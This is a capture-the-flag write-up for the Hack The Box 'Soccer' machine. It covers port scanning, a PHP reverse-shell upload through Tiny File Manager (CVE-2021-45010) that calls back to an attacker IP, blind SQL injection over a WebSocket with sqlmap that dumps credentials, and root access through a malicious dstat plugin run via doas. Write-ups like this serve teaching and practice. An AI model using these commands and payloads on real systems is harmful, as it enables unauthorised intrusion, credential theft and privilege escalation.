
Join The Best Hacking Community Worldwide | Hack The Box
Over half a million platform members exhange ideas and methodologies. Be one of us and help the community grow even further!
www.hackthebox.com
Enumeration
Nmap
ports=$(nmap -p- --min-rate=1000 -T4 10.129.235.116 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.129.235.116 -v -oN nmap_tcp_allPORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
|   256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
|_  256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest:
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Date: Mon, 01 Sep 2025 02:43:05 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot GET /</pre>
|     </body>
|     </html>
|   HTTPOptions:
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Mon, 01 Sep 2025 02:43:08 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|     </html>
|   RTSPRequest:
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Mon, 01 Sep 2025 02:43:10 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>
<SNIP>Running an Nmap scan against the target shows three open TCP ports. Two of these are the usual suspects: SSH and Nginx, both operating on their standard ports. The third open port is 9091, which is linked to a service that isn’t immediately identified.
HTTP
When we browse to http://10.129.235.115, the request automatically redirects to soccer.htb. To resolve this properly, we’ll need to add soccer.htb to our /etc/hosts file.

echo 10.129.235.115 soccer.htb" | sudo tee -a /etc/hostsAt first glance, the web application looks like a simple static page with no interactive features. To dig a bit deeper, we run a directory scan with ffuf to see if there are any hidden or unlinked files and folders that might be of interest.

┌──(kali㉿kali)-[~/Soccer]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u 'http://soccer.htb/FUZZ'
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/
       v2.1.0-dev
________________________________________________
 :: Method           : GET
 :: URL              : http://soccer.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
tiny                    [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 465ms]
:: Progress: [21634/87650] :: Job [1/1] :: 13 req/sec :: Duration: [0:03:40] :: Errors: 0 ::aDuring enumeration we discover a /tiny directory. Visiting this path reveals a login page for Tiny File Manager, a lightweight web-based file management tool.

A quick Google search for “Tiny File Manager exploit” brings up an Authenticated Remote Code Execution (RCE) exploit for version 2.4.3. The public PoC shows default credentials of admin:admin@123, which we try and confirm are valid, giving us access.
From the interface we can see the application is running Tiny File Manager 2.4.3. Versions up to and including 2.4.6 are vulnerable to CVE-2021-45010, which lets an authenticated attacker upload a malicious PHP file directly into the webroot. This in turn can be used to execute arbitrary commands on the target server.

The tiny folder contains an uploads directory where we have write permissions.

Knowing this, we go ahead and upload a PHP reverse shell. We configure it to call back to our attacker machine by setting our own IP address and a chosen listening port. Once uploaded, we just need to trigger the file to establish a reverse connection.
<SNIP>
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.141';  // CHANGE THIS
$port = 8443;       // CHANGE THIS
<SNIP>To stop other users on the lab from spotting and abusing our shell, we rename it to a less obvious filename: d41d8cd98f00b204e9800998ecf8427e.php. This looks like a random hash and helps reduce the chance of anyone else interfering with our session.

We prepare our attack machine by starting a listener on port 8443 to catch the incoming connection. The reverse shell can then be triggered either by clicking the direct link icon in Tiny File Manager or by manually browsing to:
/tiny/uploads/<filename>.php└─$ nc -nvlp 8443
listening on [any] 8443 ...
connect to [10.10.16.141] from (UNKNOWN) [10.129.235.115] 56958
Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 03:34:46 up 54 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)We now have a working reverse shell, running under the web server account www-data. Since this type of shell is quite limited, the next step is to upgrade it into a fully interactive shell so we can use commands more comfortably. We can do this by running:
python3 -c 'import pty; pty.spawn("/bin/bash")'This gives us a proper interactive bash shell inside the target.
Foothold
HTTP
Checking the system as the www-data user doesn’t reveal anything useful at first. There is no obvious files or privilege escalation vectors. However, since the web service is running on Nginx, it’s worth looking into the configuration files. In particular, the sites-enabled directory often contains virtual host definitions, which can point to additional subdomains or web routes that might not have shown up in our initial scans.
ls -al /etc/nginx/sites-enabled
total 8
drwxr-xr-x 2 root root 4096 Dec  1  2022 .
drwxr-xr-x 8 root root 4096 Nov 17  2022 ..
lrwxrwxrwx 1 root root   34 Nov 17  2022 default -> /etc/nginx/sites-available/default
lrwxrwxrwx 1 root root   41 Nov 17  2022 soc-player.htb -> /etc/nginx/sites-available/soc-player.htbAfter spotting a new subdomain in the Nginx configuration, we add it to our /etc/hosts file so it resolves correctly. With that in place, we can point our browser to the subdomain and explore what it’s hosting.
echo "10.129.235.116 soc-player.soccer.htb" | sudo tee -a /etc/hosts
The subdomain looks much like the original static landing page, but this time there are extra features such as Login and Signup buttons. Common admin credentials don’t work here, so instead we register a fresh account. Logging in with this new user gives us access to an additional endpoint at /check.

On this page we’re given a ticket ID, along with a form to check whether a ticket is valid. Inspecting the site’s source code shows that this feature communicates with a WebSocket server running on port 9091 which is the same service we spotted earlier during our initial port scan.
<script>
        var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
        window.onload = function () {
        
        var btn = document.getElementById('btn');
        var input = document.getElementById('id');
        
        ws.onopen = function (e) {
            console.log('connected to the server')
        }
        input.addEventListener('keypress', (e) => {
            keyOne(e)
        });
        <SNIP>
  </script>To better understand how the service works, we capture a request in BurpSuite and send it to the Repeater for testing. By tweaking the input, we notice that adding mathematical expressions doesn’t change the outcome - the application still decides validity in the same way. This suggests the site is likely taking the submitted value and directly comparing it against a backend database.
To test this theory, we inject a simple SQL boolean payload:
' OR 1=1--The response shows the ticket as valid, confirming our suspicion that the page is vulnerable to SQL injection (SQLi).


Blind SQLi
This flaw is a case of blind SQL injection. In this situation, we can influence the SQL logic behind the scenes, but we don’t directly see the results of our queries. Instead, we rely on indirect clues, such as how the server responds differently to certain inputs, to piece together information from the database.
Manually testing this can be slow and tricky, so we turn to sqlmap, which is able to automate blind SQLi attacks. Conveniently, sqlmap can also talk directly to the WebSocket service running on port 9091, saving us a lot of manual effort.
└─$ sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' --dbs --threads 10 --level 5 --risk 3 --batch
<SNIP>
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
<SNIP>After running for a few minutes, sqlmap is able to enumerate the available databases. Among them, the one that stands out is called soccer_db. From here, we can narrow our focus to this database by specifying it with the -D flag, and then extract its contents using the --dump option. This allows us to pull out tables and records for closer inspection.
└─$ sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' --threads 10 -D soccer_db --dump --batch
<SNIP>
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id   | email             | password             | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player   |
+------+-------------------+----------------------+----------+Dumping the database gives us a set of credentials:
player:PlayerOftheMatch2022└─$ ssh player@10.129.235.116 
The authenticity of host '10.129.235.116 (10.129.235.116)' can't be established.
ED25519 key fingerprint is SHA256:PxRZkGxbqpmtATcgie2b7E8Sj3pw1L5jMEqe77Ob3FE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.235.116' (ED25519) to the list of known hosts.
player@10.129.235.116's password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
  System information as of Mon Sep  1 05:50:35 UTC 2025
  System load:           0.0
  Usage of /:            70.1% of 3.84GB
  Memory usage:          21%
  Swap usage:            0%
  Processes:             232
  Users logged in:       0
  IPv4 address for eth0: 10.129.235.116
  IPv6 address for eth0: dead:beef::250:56ff:fe95:470f
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Dec 13 07:29:10 2022 from 10.10.14.19
player@soccer:~$ id
uid=1001(player) gid=1001(player) groups=1001(player)Once logged in as the player user, we navigate to /home/player/ and retrieve the user flag from the user.txt file.
Privilege Escalation
SUID (setuid) is a Unix security feature that lets executables run with the permissions of the file’s owner, rather than the user running the command. This is handy for programs that need elevated privileges to interact with system resources for example, modifying system settings or accessing files owned by other users.
At the same time, it can create serious security risks. If an SUID-enabled binary is misconfigured or contains flaws, an attacker may be able to exploit it to gain higher privileges on the system.
While searching for SUID files, we find /usr/bin/doas. This utility works in a similar way to the more common sudo command, providing a mechanism for executing commands as another user (often root).
player@soccer:~$ find / -type f -perm -4000 2>/dev/null
/usr/local/bin/doas
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysignLooking into doas, we find that its configuration is stored in /usr/local/etc/doas.conf. Checking this file shows that the player user is allowed to run the dstat command with elevated privileges. Since the dstat binary is owned by root, this effectively lets us run it as root.
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstatDstat is a monitoring tool that reports on system resource usage, such as CPU, memory, disk, and network statistics. Reading through its manual, we notice something particularly useful for us: it supports the use of Python-based plugins.
This is important because if we can load our own plugin, we may be able to execute arbitrary Python code under the elevated privileges that doas grants us.
player@soccer:~$ man dstat
<SNIP>
FILES
       Paths that may contain external dstat_*.py plugins:
           ~/.dstat/
           (path of binary)/plugins/
           /usr/share/dstat/
           /usr/local/share/dstat/
<SNIP>If we can run Python code as root through a dstat plugin, we can escalate straight to a root shell. While dstat only loads plugins from specific directories, we confirm that one of them /usr/local/share/dstat/ is writable by our player user. This gives us the perfect spot to drop a malicious plugin.
player@soccer:~$ ls -ld /usr/local/share/dstat
drwxrwx--- 2 root player 4096 Dec 12  2022 /usr/local/share/dstatWe craft a simple Python script that spawns a bash shell, and save it into /usr/local/share/dstat/. According to the dstat manual, all plugins must be named with the dstat_ prefix, so we make sure to follow that convention when naming our file.
player@soccer:~$ echo -e 'import os\n\nos.system("/bin/bash")' > /usr/local/share/dstat/dstat_hack.pyTo check that our malicious plugin has been picked up, we run dstat --list. This command displays all available plugins, and if our file shows up in the list, it means dstat has successfully recognised it.
player@soccer:~$ doas /usr/bin/dstat --list
internal:
        aio,cpu,cpu-adv,cpu-use,cpu24,disk,disk24,disk24-old,epoch,fs,int,int24,io,ipc,load,lock,mem,mem-adv,net,page,page24,proc,raw,socket,swap,swap-old,sys,
        tcp,time,udp,unix,vm,vm-adv,zones
/usr/share/dstat:
        battery,battery-remain,condor-queue,cpufreq,dbus,disk-avgqu,disk-avgrq,disk-svctm,disk-tps,disk-util,disk-wait,dstat,dstat-cpu,dstat-ctxt,dstat-mem,fan,freespace,
        fuse,gpfs,gpfs-ops,helloworld,ib,innodb-buffer,innodb-io,innodb-ops,jvm-full,jvm-vm,lustre,md-status,memcache-hits,mongodb-conn,mongodb-mem,mongodb-opcount,
        mongodb-queue,mongodb-stats,mysql-io,mysql-keys,mysql5-cmds,mysql5-conn,mysql5-innodb,mysql5-innodb-basic,mysql5-innodb-extra,mysql5-io,mysql5-keys,net-packets,nfs3,
        nfs3-ops,nfsd3,nfsd3-ops,nfsd4-ops,nfsstat4,ntp,postfix,power,proc-count,qmail,redis,rpc,rpcd,sendmail,snmp-cpu,snmp-load,snmp-mem,snmp-net,snmp-net-err,
        snmp-sys,snooze,squid,test,thermal,top-bio,top-bio-adv,top-childwait,top-cpu,top-cpu-adv,top-cputime,top-cputime-avg,top-int,top-io,top-io-adv,top-latency,
        top-latency-avg,top-mem,top-oom,utmp,vm-cpu,vm-mem,vm-mem-adv,vmk-hba,vmk-int,vmk-nic,vz-cpu,vz-io,vz-ubc,wifi,zfs-arc,zfs-l2arc,zfs-zil
/usr/local/share/dstat:
        hackWith our plugin confirmed, we now launch dstat and explicitly load it by passing its name as a command-line argument, using the -- prefix. When executed, the plugin runs our Python payload, spawning a shell with root privileges.
player@soccer:~$ doas /usr/bin/dstat --hack
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
root@soccer:/home/player# id
uid=0(root) gid=0(root) groups=0(root)Our malicious plugin runs as expected, and the payload drops us into a shell with root privileges. From here we navigate to /root/ and capture the final flag from the root.txt file.
References
- HTB Official Walkthrough for Soccer
- https://0xdf.gitlab.io/2023/06/10/htb-soccer.html#shell-as-root
